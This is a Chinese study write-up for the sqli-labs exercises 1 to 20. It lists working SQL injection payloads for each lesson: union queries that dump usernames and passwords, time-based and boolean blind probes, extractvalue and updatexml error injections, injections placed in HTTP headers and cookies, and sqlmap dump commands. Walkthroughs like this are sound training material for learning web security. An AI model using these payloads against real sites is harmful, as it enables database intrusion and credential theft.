less-1(基于错误的GET单引号字符型注入)
id=1
//回显正常
id=1'
//报错信息:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
id=1' order by 4 # //用来猜解注入字段 //这里如果报错不正常可以对#进行url编码
//当测试3时没有报错,而测试4时报错:Unknown column '4' in 'order clause',说明字段数为3
- 联合注入查询,使用union
id=-1 ' union select 1,2,3 %23 // 确定可以显示到页面的位置
id=-1 ' union select 1,2,group_concat(schema_name) from information_schema.schemata %23 //获取数据库名
id=-1 ' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' %23 //获取表名
id=-1 ' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'%23 //获取列名
id=-1 ' union select 1,username,password from users %23 //获取用户名密码
less-2(基于错误的GET整型注入)
数字型注入,less-1中的单引号去掉即可
id=1
//回显正常
id=1'
//报错信息:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
id=1 order by 4 # //猜解注入字段 //这里如果报错不正常可以对#进行url编码
//当测试3时没有报错,而测试4时报错:Unknown column '4' in 'order clause',说明字段数为3
- 联合注入查询,使用union
id=-1 union select 1,2,3 %23 // 确定可以显示到页面的位置
id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata %23 //获取数据库名
id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' %23 //获取表名
id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'%23 //获取列名
id=-1 union select 1,username,password from users %23 //获取用户名密码
less-3(基于错误的GET单引号变形字符型注入)
id=1'
//得到报错信息:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '') LIMIT 0,1' at line 1
可以得知输入的内容存放到一对单引号加圆括号中了
所以在less-1的基础上在单引号后加一个右括号即可
id=1' order by 4 # //猜解字段数
- 联合注入查询,使用union
id=-1') union select 1,2,group_concat(schema_name) from information_schema.schemata %23 //获取数据库名
id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' %23 //获取表名
id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'%23 //获取列名
id=-1') union select 1,username,password from users %23 //获取用户名密码
less-4(基于错误的GET双引号字符型注入)
?id=1 //有回显
?id=1' //没有反应
?id=1" //页面报错,从报错信息中可以看出它的传参结构
根据报错信息判断出输入的内容被放到一组双引号和小括号中,所以在less-1的基础上修改单引号为双引号+右括号即可
id=1") order by 4 # //猜解字段数
id=-1") union select 1,2,group_concat(schema_name) from information_schema.schemata %23 //获取数据库名
id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' %23 //获取表名
id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'%23 //获取列名
id=-1") union select 1,username,password from users %23 //获取用户名密码
less-5(双注入GET单引号字符型注入)
id=1 //有错误但没有报错信息
可以推断此题的注入类型是布尔型盲注、报错型注入、时间延迟型盲注
基于时间的手工注入
id=1' and sleep(5)--+
发现有延迟,可以用时间延迟性盲注
?id=1' and if(length(database())=*,sleep(5),1)--+ //爆库长
?id=1' and if(left(database(),1)='*',sleep(5),1)--+ //爆库名
?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit *,1),1)='*' ,sleep(5),1)--+ //爆表名
?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit *,1),*)='password' ,sleep(5),1)--+ //爆列名
其中*所占均为需要逐个尝试的位置
布尔型手工注入
?id=1' and left((select database()),*)='*'--+ //爆库
?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='*' --+ //爆表
?id=1' and left((select column_name from information_schema.columns where table_name='users' limit *,*),*)='password' --+ //爆列名
/*定向爆破通过改变位次寻找是否“password”列,同理找“users”
?id=1' and left((select password from users order by id limit 0,1),1)='d' --+ //爆字段
?id=1' and left((select username from users order by id limit 0,1),1)='d' --+ //用户名
对于本题来说两种方法都适用
顺便说一下我查到关于使用"–+"的原因
mysql的注释符一般有三种
--, 单行注释
# 单行注释
/**/ 多行注释
注:--不是注释符,–后还需要一个空格 ,而在web中 + 和空格等价,这就是为何我们注释符喜欢使用–+的原因了
知道注入原理以后,不断重复尝试猜解的工作我就直接交给电脑了/狗头(我指sqlmap)
sqlmap -u "url"
sqlmap -u "url" -dbs
sqlmap -u "url" -D security --tables
sqlmap -u "url" -D security -T users --columns
sqlmap -u "url" -D security -T users --dump "password,username"
less-6(双注入GET双引号字符型注入)
原理与lss-5相同,将less-5中的单引号改为双引号即可,就不多做说明
less-7(导出文件GET字符型注入)
看题目名称就可以知道,这道题应该可以写入文件,这样的话就可以上传木马病毒文件了
看到回显大概可以猜到题目的目的是让我们导出内容
(有点难搞懂,还没搞明白)
less-8(布尔型单引号GET盲注)
看到题目一下就明白了,盲注就是回显只提示正确与错误
?id=1' and 1=1 --+
进行测试,发现返回值只有“You are in …”和空,证实盲注
操作与less-5类似(两种方法均可),不多说了
less9(基于时间的GET单引号盲注)
经过多次尝试,返回值均为“You are in …”
尝试使用基于时间的注入
?id=1' and sleep(5) --+
发现页面有延迟,确定是基于时间的注入类型,操作方法与less-5的时间注入相同
less-10(基于时间的双引号盲注)
与less-9完全相同,将单引号改为双引号即可
less-11(基于错误的POST型单引号字符型注入)
两种方法:
第一种:burpsuit抓包修改参数
输入admin admin 登陆,抓包,修改参数,发送到repeater模块
说明注入生效,存在报错型注入
剩下的就是与之前相似的重复性工作
uname=admin' and extractvalue(1,concat(0x7e,(select database()))) --+&passwd=admin&submit=Submit
//爆库
uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+&passwd=admin&submit=Submit
//爆表
uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+&passwd=admin&submit=Submit
//爆列名 uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+&passwd=admin&submit=Submit
//爆值
第二种:直接注入
-1 ' union select 1, group_concat(schema_name) from information_schema.schemata #
//获取数据库名
id=-1 ' union select 1,group_concat(table_name) from information_schema.tables where table_schema = 'security' #
//获取表名
id=-1 ' union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users' #
//获取列名
uname=-1' union select 1, group_concat(password,username) from users --
//获取用户名密码
less12(基于错误的双引号POST型字符型变形的注入)
与less-11注入方法相同,将单引号改为双引号加右括号即可
less-13(POST单引号变形双注入)
输入admin/admin页面没有提示信息,我们认为当它正确时是没有返回值的,又是一个盲注的题目
首先尝试使用时间型盲注
admin') and sleep(5) #
发现页面有延迟,可以使用时间型注入
admin') and if(ascii(substring(database(),1,1))=115,sleep(5),1) # //爆库名
admin') and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),1); # //爆表名
admin') and if(ascii(substr((select username from security.users order by id limit 0,1),1,1))=68,sleep(10),1); # //爆内容
less14(POST双引号变形双注入)
与less13基本一致,使用双引号闭合即可
less15(基于bool型/时间延迟单引号POST型盲注)
进行多次尝试输入,均没有任何回显,又是一个盲注
我们还是尝试使用时间型注入来解决
admin' and sleep(5) #
存在时间型注入
admin' and if(ascii(substring(database(),1,1))=115,sleep(5),1) #
admin' and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),1); #
admin' and if(ascii(substr((select username from security.users order by id limit 0,1),1,1))=68,sleep(5),1); #
less16(基于bool型/时间延迟的双引号POST型盲注)
与less-15方法一致,将单引号改为双引号括号即可
less-17(基于错误的更新查询POST注入)
经过提醒查看源码发现"updata",也就是说如果操作不当有存在被删库的风险
除此之外我们还发现代码对"username"进行了检查过滤,而对"password"却没有,所以我们可以将注入点放在password上
先尝试时间型注入,但是并没有反应
再尝试使用updatexml()函数的报错型注入
admin' and updatexml(1,concat(0x7e,(select database()),0x7e),1) # //库
admin' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) # //表
admin' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) # //列
admin' and updatexml(1,concat(0x7e,(select username from (select username from users limit 0,1)test),0x7e),1) # //字段
less-18(基于错误的用户代理,头部POST注入)
admin/admin看回显
不懂就查:
User Agent中文名为用户代理,是Http协议中的一部分,属于头域的组成部分,User Agent也简称UA。它是一个特殊字符串头,是一种向访问网站提供你所使用的浏览器类型及版本、操作系统及版本、浏览器内核、等信息的标识。通过这个标 识,用户所访问的网站可以显示不同的排版从而为用户提供更好的体验或者进行信息统计;例如用手机访问谷歌和电脑访问是不一样的,这些是谷歌根据访问者的 UA来判断的。 浏览器的UA字串的标准格式:浏览器标识 (操作系统标识; 加密等级标识; 浏览器语言) 渲染引擎标识版本信息。但各个浏览器有所不同。
于是合理猜测注入应该和这个agent脱不了关系
抓包挂代理修改agent发送再查看
确实存在注入,可以开始进行注入了,尝试报错型注入
存在报错型注入
less19(基于头部的Referer POST报错注入)
还是先admin/admin看回显
这次变成了referer
Referer是HTTP协议中header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器籍此可以获得一些信息用于处理。比如从我主页上链接到一个朋友那里,他的服务器就能够从HTTP Referer中统计出每天有多少用户点击我主页上的链接访问他的网站。
尝试使用与上题相同的办法
事实证明猜测没错,后边的步骤就不重复了
less-20(基于错误的cookie头部POST注入)
测试admin/admin
cookie注入?抓个包看一下
Coolie:uname=admin可以确定是cookie注入了
将cookie改为admin’回显报错
Cookie: uname=admin' order by 3--+ 回显正常
Cookie: uname=admin' order by 4--+ 不正常了,可以断定行数为3
Cookie: uname=admin' union select 1,2,database()--+ //库名
Cookie: uname=admin' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' --+ //表名
Cookie: uname=-admin' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'--+ //列名
Cookie: uname=-admin' union select 1,username,password from users --+ //用户名密码
|